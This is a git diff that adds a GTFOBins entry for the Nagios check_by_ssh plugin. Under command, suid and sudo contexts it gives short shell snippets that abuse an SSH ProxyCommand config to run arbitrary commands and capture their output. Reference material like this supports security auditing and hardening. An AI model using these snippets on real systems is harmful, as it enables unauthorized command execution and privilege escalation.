diff --git a/_gtfobins/check_by_ssh.md b/_gtfobins/check_by_ssh.md new file mode 100644 index 0000000..dedf47b --- /dev/null +++ b/_gtfobins/check_by_ssh.md @@ -0,0 +1,29 @@ +--- +description: | + This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. +functions: + command: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + TF=$(mktemp) + echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF + check_by_ssh -F "$TF" -H localhost -C something + cat $OUTPUT + suid: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + TF=$(mktemp) + echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF + check_by_ssh -F "$TF" -H localhost -C something + cat $OUTPUT + sudo: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + TF=$(mktemp) + echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF + check_by_ssh -F "$TF" -H localhost -C something + cat $OUTPUT +---